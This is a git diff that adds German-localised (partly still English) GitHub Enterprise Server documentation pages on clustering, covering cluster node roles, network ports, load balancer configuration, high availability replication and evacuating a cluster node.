+    - `redis-server`
+  - Suchebene mit drei Knoten und dem folgenden Dienst:
+    - `elasticsearch-server`
+  - Speicherebene mit drei Knoten und den folgenden Diensten:
+    - `git-server`
+    - `pages-server`
+    - `storage-server`
+    - `metrics-server`
+
+### Beispielclusterdiagramm
+{% note %}
+
+**Hinweis: Dies ist nur ein Beispiel.** Das optimale Clusterdesign deiner Organisation hängt von deinen individuellen Anforderungen ab. Kontaktiere deinen engagierten Ansprechpartner oder {% data variables.contact.contact_enterprise_sales %} damit wir Dir helfen können, die beste Clusterkonfiguration zu bestimmen.
+
+{% endnote %}
+
+<img src="/assets/images/enterprise/cluster/cluster-diagram.png" alt="Example Cluster" style="width: 800px;border:0"/>
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-clustering.md
new file mode 100644
index 0000000000..7252d24220
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-clustering.md
@@ -0,0 +1,41 @@
+---
+title: Informationen zu Clustering
+intro: 'Mittels {% data variables.product.prodname_ghe_server %}-Clustering können Dienste, die den {% data variables.product.prodname_ghe_server %} bilden, knotenübergreifend per Scale-out erweitert werden.'
+redirect_from:
+  - /enterprise/admin/clustering/overview
+  - /enterprise/admin/clustering/about-clustering
+  - /enterprise/admin/clustering/clustering-overview
+  - /enterprise/admin/enterprise-management/about-clustering
+  - /admin/enterprise-management/about-clustering
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Clustering
+  - Enterprise
+ms.openlocfilehash: 5da017898f1f0e205685dcf1fc29b5088030421a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146332480'
+---
+## Clustering-Architektur
+
+{% data variables.product.prodname_ghe_server %} besteht aus einer Reihe an Diensten. In einem Cluster werden diese Dienste knotenübergreifend ausgeführt, und die Last der Anforderungen wird zwischen ihnen ausgeglichen. Änderungen werden automatisch mit redundanten Kopien auf separaten Knoten gespeichert. Die meisten Dienste sind gleichwertige Peers mit anderen Instanzen desselben Diensts. Die Ausnahmen dafür sind `mysql-server`- und `redis-server`-Dienste. Diese funktionieren mit einem einzigen _primären_ Knoten mit einem oder mehreren _Replikat_-Knoten.
+
+Weitere Informationen zu [Diensten, die für das Clustering erforderlich sind](/enterprise/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering).
+
+## Ist Clustering die richtige Lösung für meine Organisation?
+
+{% data reusables.enterprise_clustering.clustering-scalability %} Das Einrichten eines redundanten und skalierbaren Clusters kann jedoch komplex sein und erfordert eine genaue Planung. Diese zusätzliche Komplexität muss bei der Installation, bei Disaster Recovery-Szenarien und bei Upgrades berücksichtigt werden.
+
+{% data variables.product.prodname_ghe_server %} erfordert eine niedrige Latenz zwischen den Knoten und ist nicht für die Redundanz über geografische Standorte hinweg vorgesehen.
+
+Clustering bietet Redundanz, ist jedoch nicht dazu vorgesehen, eine Hochverfügbarkeitskonfiguration zu ersetzen. Weitere Informationen findest du unter [Informationen zur Konfiguration der Hochverfügbarkeit](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). Eine Konfiguration mit einer primären/sekundären Failover-Instanz ist viel einfacher als Clustering und erfüllt die Anforderungen vieler Organisationen. Weitere Informationen findest du unter [Unterschiede zwischen Clustering und Hochverfügbarkeit](/enterprise/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/).
+
+{% data reusables.package_registry.packages-cluster-support %}
+
+## Wie kann ich auf Clustering zugreifen?
+
+Clustering ist für bestimmte Skalierungssituationen vorgesehen, nicht aber für jede Organisation. Wenn Du Clustering in Betracht ziehen möchtest, wende Dich bitte an Deinen {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
new file mode 100644
index 0000000000..3bca1364de
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
@@ -0,0 +1,132 @@
+---
+title: Cluster network configuration
+intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.'
+redirect_from:
+  - /enterprise/admin/clustering/cluster-network-configuration
+  - /enterprise/admin/enterprise-management/cluster-network-configuration
+  - /admin/enterprise-management/cluster-network-configuration
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Clustering
+  - Enterprise
+  - Infrastructure
+  - Networking
+shortTitle: Configure a cluster network
+---
+## Network considerations
+
+The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond.
+
+{% data reusables.enterprise_clustering.network-latency %}
+
+### Application ports for end users
+
+Application ports provide web application and Git access for end users.
+
+| Port     | Description     | Encrypted  |
+| :------------- | :------------- | :------------- |
+| 22/TCP    | Git over SSH | Yes |
+| 25/TCP    | SMTP | Requires STARTTLS |
+| 80/TCP    | HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
+| 443/TCP   | HTTPS | Yes |
+| 9418/TCP  | Simple Git protocol port<br>(Disabled in private mode) | No |
+
+### Administrative ports
+
+Administrative ports are not required for basic application use by end users.
+
+| Port     | Description     | Encrypted  |
+| :------------- | :------------- | :------------- |
+| ICMP      | ICMP Ping | No |
+| 122/TCP   | Administrative SSH | Yes |
+| 161/UDP    | SNMP | No |
+| 8080/TCP  | Management Console HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
+| 8443/TCP  | Management Console HTTPS | Yes |
+
+### Cluster communication ports
+
+If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally.
+
+| Port     | Description     |
+| :------------- | :------------- |
+| 1336/TCP  | Internal API |
+| 3033/TCP  | Internal SVN access |
+| 3037/TCP  | Internal SVN access |
+| 3306/TCP  | MySQL |
+| 4486/TCP  | Governor access |
+| 5115/TCP  | Storage backend |
+| 5208/TCP  | Internal SVN access |
+| 6379/TCP  | Redis |
+| 8001/TCP  | Grafana |
+| 8090/TCP  | Internal GPG access |
+| 8149/TCP  | GitRPC file server access |
+| 8300/TCP | Consul |
+| 8301/TCP | Consul |
+| 8302/TCP | Consul |
+| 9000/TCP  | Git Daemon |
+| 9102/TCP  | Pages file server |
+| 9105/TCP  | LFS server |
+| 9200/TCP  | Elasticsearch |
+| 9203/TCP | Semantic code service |
+| 9300/TCP  | Elasticsearch |
+| 11211/TCP | Memcache |
+| 161/UDP   | SNMP |
+| 8125/UDP  | Statsd |
+| 8301/UDP | Consul |
+| 8302/UDP | Consul |
+| 25827/UDP | Collectd |
+
+## Configuring a load balancer
+
+ We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations:
+
+ - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests.
+ - Sticky sessions shouldn't be enabled.
+
+{% data reusables.enterprise_installation.terminating-tls %}
+
+## Handling client connection information
+
+Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required.
+
+{% data reusables.enterprise_clustering.proxy_preference %}
+
+{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
+
+### Enabling PROXY support on {% data variables.product.prodname_ghe_server %}
+
+We strongly recommend enabling PROXY support for both your instance and the load balancer.
+
+{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
+
+ - For your instance, use this command:
+  ```shell
+  $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply
+  ```
+  - For the load balancer, use the instructions provided by your vendor.
+
+  {% data reusables.enterprise_clustering.proxy_protocol_ports %}
+
+### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %}
+
+{% data reusables.enterprise_clustering.x-forwarded-for %}
+
+To enable the `X-Forwarded-For` header, use this command:
+
+```shell
+$ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
+```
+
+{% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
+
+### Configuring Health Checks
+Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability.
+
+{% data reusables.enterprise_clustering.health_checks %}
+{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
+
+## DNS Requirements
+
+{% data reusables.enterprise_clustering.load_balancer_dns %}
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
new file mode 100644
index 0000000000..a4a6b01075
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/configuring-high-availability-replication-for-a-cluster.md
@@ -0,0 +1,363 @@
+---
+title: Configuring high availability replication for a cluster
+intro: 'You can configure a passive replica of your entire {% data variables.product.prodname_ghe_server %} cluster in a different location, allowing your cluster to fail over to redundant nodes.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster
+  - /admin/enterprise-management/configuring-high-availability-replication-for-a-cluster
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Configure HA replication
+---
+## About high availability replication for clusters
+
+You can configure a cluster deployment of {% data variables.product.prodname_ghe_server %} for high availability, where an identical set of passive nodes sync with the nodes in your active cluster. If hardware or software failures affect the datacenter with your active cluster, you can manually fail over to the replica nodes and continue processing user requests, minimizing the impact of the outage.
+
+In high availability mode, each active node syncs regularly with a corresponding passive node. The passive node runs in standby and does not serve applications or process user requests.
+
+We recommend configuring high availability as a part of a comprehensive disaster recovery plan for {% data variables.product.prodname_ghe_server %}. We also recommend performing regular backups. For more information, see "[Configuring backups on your appliance](/enterprise/admin/configuration/configuring-backups-on-your-appliance)."
+
+## Prerequisites
+
+### Hardware and software
+
+For each existing node in your active cluster, you'll need to provision a second virtual machine with identical hardware resources. For example, if your cluster has 11 nodes and each node has 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage, you must provision 11 new virtual machines that each have 12 vCPUs, 96 GB of RAM, and 750 GB of attached storage.
+
+On each new virtual machine, install the same version of {% data variables.product.prodname_ghe_server %} that runs on the nodes in your active cluster. You don't need to upload a license or perform any additional configuration. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/installation/setting-up-a-github-enterprise-server-instance)."
+
+{% note %}
+
+**Note**: The nodes that you intend to use for high availability replication should be standalone {% data variables.product.prodname_ghe_server %} instances. Don't initialize the passive nodes as a second cluster.
+
+{% endnote %}
+
+### Network
+
+You must assign a static IP address to each new node that you provision, and you must configure a load balancer to accept connections and direct them to the nodes in your cluster's front-end tier.
+
+{% data reusables.enterprise_clustering.network-latency %} For more information about network connectivity between nodes in the passive cluster, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration)."
+
+## Creating a high availability replica for a cluster
+
+- [Assigning active nodes to the primary datacenter](#assigning-active-nodes-to-the-primary-datacenter)
+- [Adding passive nodes to the cluster configuration file](#adding-passive-nodes-to-the-cluster-configuration-file)
+- [Example configuration](#example-configuration)
+
+### Assigning active nodes to the primary datacenter
+
+Before you define a secondary datacenter for your passive nodes, ensure that you assign your active nodes to the primary datacenter.
+
+{% data reusables.enterprise_clustering.ssh-to-a-node %}
+
+{% data reusables.enterprise_clustering.open-configuration-file %}
+
+3. Note the name of your cluster's primary datacenter. The `[cluster]` section at the top of the cluster configuration file defines the primary datacenter's name, using the `primary-datacenter` key-value pair. By default, the primary datacenter for your cluster is named `default`.
+
+    ```shell
+    [cluster]
+      mysql-master = HOSTNAME
+      redis-master = HOSTNAME
+      <strong>primary-datacenter = default</strong>
+    ```
+
+    - Optionally, change the name of the primary datacenter to something more descriptive or accurate by editing the value of `primary-datacenter`.
+
+4. {% data reusables.enterprise_clustering.configuration-file-heading %} Under each node's heading, add a new key-value pair to assign the node to a datacenter. Use the same value as `primary-datacenter` from step 3 above. For example, if you want to use the default name (`default`), add the following key-value pair to the section for each node.
+
+    ```
+    datacenter = default
+    ```
+
+    When you're done, the section for each node in the cluster configuration file should look like the following example. {% data reusables.enterprise_clustering.key-value-pair-order-irrelevant %}
+
+    ```shell
+    [cluster "HOSTNAME"]
+      <strong>datacenter = default</strong>
+      hostname = HOSTNAME
+      ipv4 = IP-ADDRESS
+      ...
+    ...
+    ```
+
+    {% note %}
+
+    **Note**: If you changed the name of the primary datacenter in step 3, find the `consul-datacenter` key-value pair in the section for each node and change the value to the renamed primary datacenter. For example, if you named the primary datacenter `primary`, use the following key-value pair for each node.
+
+    ```
+    consul-datacenter = primary
+    ```
+
+    {% endnote %}
+
+{% data reusables.enterprise_clustering.apply-configuration %}
+
+{% data reusables.enterprise_clustering.configuration-finished %}
+
+After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished assigning your nodes to the cluster's primary datacenter.
+
+### Adding passive nodes to the cluster configuration file
+
+To configure high availability, you must define a corresponding passive node for every active node in your cluster. The following instructions create a new cluster configuration that defines both active and passive nodes. You will:
+
+- Create a copy of the active cluster configuration file.
+- Edit the copy to define passive nodes that correspond to the active nodes, adding the IP addresses of the new virtual machines that you provisioned.
+- Merge the modified copy of the cluster configuration back into your active configuration.
+- Apply the new configuration to start replication.
+
+For an example configuration, see "[Example configuration](#example-configuration)."
+
+1. For each node in your cluster, provision a matching virtual machine with identical specifications, running the same version of  {% data variables.product.prodname_ghe_server %}. Note the IPv4 address and hostname for each new cluster node. For more information, see "[Prerequisites](#prerequisites)."
+
+    {% note %}
+
+    **Note**: If you're reconfiguring high availability after a failover, you can use the old nodes from the primary datacenter instead.
+
+    {% endnote %}
+
+{% data reusables.enterprise_clustering.ssh-to-a-node %}
+
+3. Back up your existing cluster configuration.
+
+    ```
+    cp /data/user/common/cluster.conf ~/$(date +%Y-%m-%d)-cluster.conf.backup
+    ```
+
+4. Create a copy of your existing cluster configuration file in a temporary location, like _/home/admin/cluster-passive.conf_. Delete unique key-value pairs for IP addresses (`ipv*`), UUIDs (`uuid`), and public keys for WireGuard (`wireguard-pubkey`).
+
+    ```
+    grep -Ev "(?:|ipv|uuid|vpn|wireguard\-pubkey)" /data/user/common/cluster.conf > ~/cluster-passive.conf
+    ```
+
+5. Remove the `[cluster]` section from the temporary cluster configuration file that you copied in the previous step.
+
+    ```
+    git config -f ~/cluster-passive.conf --remove-section cluster
+    ```
+
+6. Decide on a name for the secondary datacenter where you provisioned your passive nodes, then update the temporary cluster configuration file with the new datacenter name. Replace `SECONDARY` with the name you choose.
+
+    ```shell
+    sed -i 's/datacenter = default/datacenter = SECONDARY/g' ~/cluster-passive.conf
+    ```
+
+7. Decide on a pattern for the passive nodes' hostnames.
+
+    {% warning %}
+
+    **Warning**: Hostnames for passive nodes must be unique and differ from the hostname for the corresponding active node.
+
+    {% endwarning %}
+
+8. Open the temporary cluster configuration file from step 3 in a text editor. For example, you can use Vim.
+
+    ```shell
+    sudo vim ~/cluster-passive.conf
+    ```
+
+9. In each section within the temporary cluster configuration file, update the node's configuration. {% data reusables.enterprise_clustering.configuration-file-heading %}
+
+    - Change the quoted hostname in the section heading and the value for `hostname` within the section to the passive node's hostname, per the pattern you chose in step 7 above.
+    - Add a new key named `ipv4`, and set the value to the passive node's static IPv4 address.
+    - Add a new key-value pair, `replica = enabled`.
+
+    ```shell
+    [cluster "NEW PASSIVE NODE HOSTNAME"]
+      ...
+      hostname = NEW PASSIVE NODE HOSTNAME
+      ipv4 = NEW PASSIVE NODE IPV4 ADDRESS
+      <strong>replica = enabled</strong>
+      ...
+    ...
+    ```
+
+10. Append the contents of the temporary cluster configuration file that you created in step 4 to the active configuration file.
+
+    ```shell
+    cat ~/cluster-passive.conf >> /data/user/common/cluster.conf
+    ```
+
+11. Designate the primary MySQL and Redis nodes in the secondary datacenter. Replace `REPLICA MYSQL PRIMARY HOSTNAME` and `REPLICA REDIS PRIMARY HOSTNAME` with the hostnames of the passives node that you provisioned to match your existing MySQL and Redis primaries.
+
+    ```shell
+    git config -f /data/user/common/cluster.conf cluster.mysql-master-replica REPLICA-MYSQL-PRIMARY-HOSTNAME
+    git config -f /data/user/common/cluster.conf cluster.redis-master-replica REPLICA-REDIS-PRIMARY-HOSTNAME
+    ```
+
+    {% warning %}
+
+    **Warning**: Review your cluster configuration file before proceeding.
+
+    - In the top-level `[cluster]` section, ensure that the values for `mysql-master-replica` and `redis-master-replica` are the correct hostnames for the passive nodes in the secondary datacenter that will serve as the MySQL and Redis primaries after a failover.
+    - In each section for an active node named <code>[cluster "ACTIVE NODE HOSTNAME"]</code>, double-check the following key-value pairs.
+      - `datacenter` should match the value of `primary-datacenter` in the top-level `[cluster]` section.
+      - `consul-datacenter` should match the value of `datacenter`, which should be the same as the value for `primary-datacenter` in the top-level `[cluster]` section.
+    - Ensure that for each active node, the configuration has **one** corresponding section for **one** passive node with the same roles. In each section for a passive node, double-check each key-value pair.
+      - `datacenter` should match all other passive nodes.
+      - `consul-datacenter` should match all other passive nodes.
+      - `hostname` should match the hostname in the section heading.
+      - `ipv4` should match the node's unique, static IPv4 address.
+      - `replica` should be configured as `enabled`.
+    - Take the opportunity to remove sections for offline nodes that are no longer in use.
+
+    To review an example configuration, see "[Example configuration](#example-configuration)."
+
+    {% endwarning %}
+
+13. Initialize the new cluster configuration. {% data reusables.enterprise.use-a-multiplexer %}
+
+    ```shell
+    ghe-cluster-config-init
+    ```
+
+14. After the initialization finishes, {% data variables.product.prodname_ghe_server %} displays the following message.
+
+    ```shell
+    Finished cluster initialization
+    ```
+
+{% data reusables.enterprise_clustering.apply-configuration %}
+
+{% data reusables.enterprise_clustering.configuration-finished %}
+
+17. Configure a load balancer that will accept connections from users if you fail over to the passive nodes. For more information, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)."
+
+You've finished configuring high availability replication for the nodes in your cluster. Each active node begins replicating configuration and data to its corresponding passive node, and you can direct traffic to the load balancer for the secondary datacenter in the event of a failure. For more information about failing over, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)."
+
+### Example configuration
+
+The top-level `[cluster]` configuration should look like the following example.
+
+```shell
+[cluster]
+  mysql-master = HOSTNAME-OF-ACTIVE-MYSQL-MASTER
+  redis-master = HOSTNAME-OF-ACTIVE-REDIS-MASTER
+  primary-datacenter = PRIMARY-DATACENTER-NAME
+  mysql-master-replica = HOSTNAME-OF-PASSIVE-MYSQL-MASTER
+  redis-master-replica = HOSTNAME-OF-PASSIVE-REDIS-MASTER
+  mysql-auto-failover = false
+...
+```
+
+The configuration for an active node in your cluster's storage tier should look like the following example.
+
+```shell
+...
+[cluster "UNIQUE ACTIVE NODE HOSTNAME"]
+  datacenter = default
+  hostname = UNIQUE-ACTIVE-NODE-HOSTNAME
+  ipv4 = IPV4-ADDRESS
+  consul-datacenter = default
+  consul-server = true
+  git-server = true
+  pages-server = true
+  mysql-server = true
+  elasticsearch-server = true
+  redis-server = true
+  memcache-server = true
+  metrics-server = true
+  storage-server = true
+  vpn = IPV4 ADDRESS SET AUTOMATICALLY
+  uuid = UUID SET AUTOMATICALLY
+  wireguard-pubkey = PUBLIC KEY SET AUTOMATICALLY
+...
+```
+
+The configuration for the corresponding passive node in the storage tier should look like the following example.
+
+- Important differences from the corresponding active node are **bold**.
+- {% data variables.product.prodname_ghe_server %} assigns values for `vpn`, `uuid`, and `wireguard-pubkey` automatically, so you shouldn't define the values for passive nodes that you will initialize.
+- The server roles, defined by `*-server` keys, match the corresponding active node.
+
+```shell
+...
+<strong>[cluster "UNIQUE PASSIVE NODE HOSTNAME"]</strong>
+  <strong>replica = enabled</strong>
+  <strong>ipv4 = IPV4 ADDRESS OF NEW VM WITH IDENTICAL RESOURCES</strong>
+  <strong>datacenter = SECONDARY DATACENTER NAME</strong>
+  <strong>hostname = UNIQUE PASSIVE NODE HOSTNAME</strong>
+  <strong>consul-datacenter = SECONDARY DATACENTER NAME</strong>
+  consul-server = true
+  git-server = true
+  pages-server = true
+  mysql-server = true
+  elasticsearch-server = true
+  redis-server = true
+  memcache-server = true
+  metrics-server = true
+  storage-server = true
+  <strong>vpn = DO NOT DEFINE</strong>
+  <strong>uuid = DO NOT DEFINE</strong>
+  <strong>wireguard-pubkey = DO NOT DEFINE</strong>
+...
+```
+
+## Monitoring replication between active and passive cluster nodes
+
+Initial replication between the active and passive nodes in your cluster takes time. The amount of time depends on the amount of data to replicate and the activity levels for {% data variables.product.prodname_ghe_server %}.
+
+You can monitor the progress on any node in the cluster, using command-line tools available via the {% data variables.product.prodname_ghe_server %} administrative shell. For more information about the administrative shell, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)."
+
+- Monitor replication of databases:
+
+  ```
+  /usr/local/share/enterprise/ghe-cluster-status-mysql
+  ```
+
+- Monitor replication of repository and Gist data:
+
+  ```
+  ghe-spokes status
+  ```
+
+- Monitor replication of attachment and LFS data:
+
+  ```
+  ghe-storage replication-status
+  ```
+
+- Monitor replication of Pages data:
+
+  ```
+  ghe-dpages replication-status
+  ```
+
+You can use `ghe-cluster-status` to review the overall health of your cluster. For more information, see  "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)."
+
+## Reconfiguring high availability replication after a failover
+
+After you fail over from the cluster's active nodes to the cluster's passive nodes, you can reconfigure high availability replication in two ways.
+
+### Provisioning and configuring new passive nodes
+
+After a failover, you can reconfigure high availability in two ways. The method you choose will depend on the reason that you failed over, and the state of the original active nodes.
+
+1. Provision and configure a new set of passive nodes for each of the new active nodes in your secondary datacenter.
+
+2. Use the old active nodes as the new passive nodes.
+
+The process for reconfiguring high availability is identical to the initial configuration of high availability. For more information, see "[Creating a high availability replica for a cluster](#creating-a-high-availability-replica-for-a-cluster)."
+
+
+## Disabling high availability replication for a cluster
+
+You can stop replication to the passive nodes for your cluster deployment of {% data variables.product.prodname_ghe_server %}.
+
+{% data reusables.enterprise_clustering.ssh-to-a-node %}
+
+{% data reusables.enterprise_clustering.open-configuration-file %}
+
+3. In the top-level `[cluster]` section, delete the `redis-master-replica`, and `mysql-master-replica` key-value pairs.
+
+4. Delete each section for a passive node. For passive nodes, `replica` is configured as `enabled`.
+
+{% data reusables.enterprise_clustering.apply-configuration %}
+
+{% data reusables.enterprise_clustering.configuration-finished %}
+
+After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished disabling high availability replication.
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md
new file mode 100644
index 0000000000..8c4a779d69
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md
@@ -0,0 +1,51 @@
+---
+title: Unterschiede zwischen Clustering und Hochverfügbarkeit
+intro: 'Die {% data variables.product.prodname_ghe_server %}-Hochverfügbarkeitskonfiguration ist eine Konfiguration mit einer primären/sekundären Failoverinstanz, die Redundanz bereitstellt. Demgegenüber bietet Clustering Redundanz und Skalierbarkeit, indem die Last für Lese- und Schreibvorgänge auf mehrere Knoten verteilt wird.'
+redirect_from:
+  - /enterprise/admin/clustering/differences-between-clustering-and-high-availability-ha
+  - /enterprise/admin/enterprise-management/differences-between-clustering-and-high-availability-ha
+  - /admin/enterprise-management/differences-between-clustering-and-high-availability-ha
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Clustering
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Choosing cluster or HA
+ms.openlocfilehash: 3a15defe4327b1aeed4f0db22586c75b233b5908
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146332488'
+---
+## Fehlerszenarien
+
+Hochverfügbarkeit und Clustering bieten Redundanz, indem der einzelne Knoten als ein Point of Failure beseitigt wird. In den folgenden Szenarien können sie Verfügbarkeit bieten:
+
+{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %}
+
+## Skalierbarkeit
+
+{% data reusables.enterprise_clustering.clustering-scalability %} in der Hochverfügbarkeitskonfiguration ist die Größe der Appliance nur vom primären Knoten abhängig, und die Last wird nicht an den Replikatserver verteilt.
+
+## Unterschiede bei der Failover-Methode und -Konfiguration
+
+| Funktion     | Failover-Konfiguration     | Failover-Methode |
+| :------------- | :------------- | :--- |
+| Hochverfügbarkeitskonfiguration       | DNS-Eintrag mit einem niedrigen TTL-Wert, der auf die primäre Appliance oder auf den Load-Balancer verweist. | Du musst die Replikat-Appliance in den DNS-Failover- und Load-Balancer-Konfigurationen manuell hochstufen. |
+| Clustering | Der DNS-Eintrag muss auf einen Load-Balancer verweisen. | Wenn ein Knoten hinter dem Load-Balancer ausfällt, wird der Traffic automatisch an die anderen funktionierenden Knoten gesendet. |
+
+## Sicherungen und Notfallwiederherstellung
+
+Weder Hochverfügbarkeit noch Clustering sollten als Ersatz für regelmäßige Sicherungen betrachtet werden. Weitere Informationen findest du unter [Konfigurieren von Sicherungen auf deiner Appliance](/enterprise/admin/guides/installation/configuring-backups-on-your-appliance).
+
+## Überwachung
+
+Verfügbarkeitsfeatures, insbesondere mit einem automatischen Failover, beispielsweise Clustering, können einen Fehler maskieren, da der Dienst in der Regel nicht unterbrochen wird, wenn etwas fehlschlägt. Unabhängig davon, ob du Hochverfügbarkeit oder Clustering verwendest, ist es wichtig, den Zustand jeder Instanz zu überwachen, damit du weißt, wann ein Fehler auftritt. Weitere Informationen zur Überwachung findest du unter [Empfohlene Warnungsschwellenwerte](/enterprise/admin/guides/installation/recommended-alert-thresholds/) und [Überwachen von Clusterknoten](/enterprise/{{ currentVersion}}/admin/guides/clustering/monitoring-cluster-nodes/).
+
+## Weitere Informationsquellen
+- Weitere Informationen zum {% data variables.product.prodname_ghe_server %}-Clustering findest du unter [Informationen zum Clustering](/enterprise/{{ currentVersion}}/admin/guides/clustering/about-clustering/).
+- Weitere Informationen zur Hochverfügbarkeit findest du unter [Konfigurieren von {% data variables.product.prodname_ghe_server %} für Hochverfügbarkeit](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/).
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md
new file mode 100644
index 0000000000..3970fe7a7a
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md
@@ -0,0 +1,90 @@
+---
+title: Clusterknoten evakuieren
+intro: Du kannst Datendienste auf einem Clusterknoten evakuieren.
+redirect_from:
+  - /enterprise/admin/clustering/evacuating-a-cluster-node
+  - /enterprise/admin/enterprise-management/evacuating-a-cluster-node
+  - /admin/enterprise-management/evacuating-a-cluster-node
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Clustering
+  - Enterprise
+ms.openlocfilehash: 775e53aafadae8c5c76a9f1dfef43ebaf7ceb9f1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106908'
+---
+## Informationen zum Evakuieren von Clusterknoten
+
+In einer Clusterkonfiguration für {% data variables.product.product_name %} kannst du einen Knoten „evakuieren“, bevor du den Knoten offline schaltest. Die Evakuierung stellt sicher, dass die verbleibenden Knoten in einer Dienstebene alle Daten des Diensts enthalten. Wenn du zum Beispiel die VM eines Knotens in deinem Cluster ersetzt, solltest du zuerst den Knoten evakuieren.
+
+Weitere Informationen zu Knoten und Dienstebenen für {% data variables.product.prodname_ghe_server %} findest du unter [Informationen zu Clusterknoten](/admin/enterprise-management/configuring-clustering/about-cluster-nodes).
+
+{% warning %}
+
+**Warnungen**:
+
+- Zur Vermeidung eines Datenverlusts empfiehlt {% data variables.product.company_short %} dringend, dass du einen Knoten evakuierst, bevor du ihn offline schaltest. 
+
+- Wenn du nur über drei Knoten in deinem Datendienstecluster verfügst, kannst du die Knoten nicht evakuieren, weil `ghe-spokes` kein weiterer Standort für das Erstellen einer Kopie zur Verfügung steht. Wenn du über vier oder mehr Knoten verfügst, verschiebt `ghe-spokes` alle Repositorys von dem evakuierten Knoten.
+
+{% endwarning %}
+
+## Clusterknoten evakuieren
+
+Wenn du planst, einen Knoten offline zu schalten und dem Knoten eine Datendienstrolle wie `git-server`, `pages-server` oder `storage-server` zugewiesen ist, evakuiere jeden Knoten, bevor du den Knoten offline schaltest.
+
+{% data reusables.enterprise_clustering.ssh-to-a-node %}
+1. Führe den folgenden Befehl aus, um die UUID des zu evakuierenden Knotens zu ermitteln. Ersetze `HOSTNAME` durch den Hostnamen des Knotens.
+
+   ```shell
+   $ ghe-config cluster.<em>HOSTNAME</em>.uuid
+   ```
+1. Überwache den Status des Knotens, während {% data variables.product.product_name %} die Daten kopiert. Schalte den Knoten erst dann offline, wenn die Kopie vollständig ist. Um den Status deines Knotens zu überwachen, führe einen der folgenden Befehle aus, und ersetze `UUID` durch die UUID aus Schritt 2.
+
+   - **Git**:
+
+     ```shell
+     $ ghe-spokes evac-status git-server-<em>UUID</em>
+     ```
+
